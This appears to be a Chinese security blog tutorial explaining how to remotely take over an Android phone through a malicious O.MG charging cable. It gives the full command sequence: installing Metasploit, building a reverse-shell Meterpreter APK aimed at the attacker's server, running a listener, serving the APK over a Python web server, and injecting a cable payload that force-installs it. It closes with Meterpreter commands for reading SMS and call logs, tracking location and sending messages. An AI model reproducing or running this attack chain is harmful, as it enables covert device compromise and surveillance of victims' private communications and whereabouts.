【视频讲解】黑客是如何通过一根充电线实现远程控制移动设备

作者:FancyPig | 发布时间: | 更新时间:

相关阅读

data-postsbox="{"id":21902,"title":"黑客是如何通过Python实现远程监控键盘输入","author":"FancyPig","author_id":1,"cover_image":"https://static.pigsec.cn/wp-content/uploads/2022/08/20220815012130410.png","cover_video":"","views":3529,"comment_count":7,"category":"knowledge","is_forum_post":false}">{"id":21902,"title":"黑客是如何通过Python实现远程监控键盘输入","author":"FancyPig","author_id":1,"cover_image":"https://static.pigsec.cn/wp-content/uploads/2022/08/20220815012130410.png","cover_video":"","views":3529,"comment_count":7,"category":"knowledge","is_forum_post":false}

视频讲解

图文讲解

准备工作

Linode云服务器配置

这里不是必须要使用Linode,这里仅提供视频中的Linode服务器创建指南,您也可以使用阿里云、腾讯云等服务器

登录Linode账户之后,选择Create Linode创建新的云服务器

选择镜像和地区,镜像视频中使用的是Ubuntu 21.10

选择最低的配置即可

然后随便取个名字,设置好密码

然后创建Linode即可

通过SSH连接Linode

然后我们可以通过ssh进行连接,相关的命令控制台也提供了

我们可以在kali linux里输入相应的命令

输入yes

输入密码

这里显示已经登录上了

下载metasploit-omnibus并生成APK文件

这里使用Ubuntu服务器下载metasploit-omnibus

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod755 msfinstall && \
./msfinstall

等待安装完成

继续运行下面的命令,生成APK文件

cd /opt/metasploit-framework/bin
sudo msfvenom -p android/meterpreter_reverse_tcp LHOST=<linode_ip> LPORT=4444 -o /data/omg.apk

启动metasploit,使用handler模块

msfconsole
use exploit/multi/handler

设置相关payload的端口和监听网卡

set payload android/meterpreter_reverse_tcp
set lport 4444
set lhost eth0

运行程序

run

启动Python web服务(用于投递APK文件)

启动python web服务,监听端口为8000

python3 -m http.server 8000

同时将刚刚生成的/data/omg.apk文件上传到网站目录下

加载O.MG充电线payload

确保您的O.MG已经插入相关移动设备,连接O.MG充电线提供的网络

然后访问192.168.4.1可以进入控制后台

获取相应的Payload,这里我们针对不同的Andriod手机版本,整理适用的payload

将上面对应的脚本填入PAYLOADS框中

需要按需修改APK路径(修改为我们启动的python web服务的对应路径)

确保O.MG充电线已经插入到移动设备的C口中,点击RUN

然后脚本会自动控制手机下载恶意APK文件,并设置信任安装

远程控制命令

命令含义
pwd显示当前所在目录
ifconfig显示IP地址相关信息
ps显示移动设备相关进程
sysinfo显示移动设备相关系统信息
send_sms -d “<phone_number>" -t “<text_content>"向<phone_number>手机号发送短信,短信内容为<text_content>
geolocate显示移动设备的地理位置信息
dump_sms显示移动设备短信记录
dump_calllog显示移动设备通话记录
upload上传文件到移动设备
download从移动设备下载文件
wlan_geolocate使用WLAN信息获取GEO定位信息
getuid展示Meterpreter服务器使用的用户

标签:metasploit, msfconsole, msf, metasploit教程, linode, metepreter, metaspl, msfvonom, OMG, OMG充电线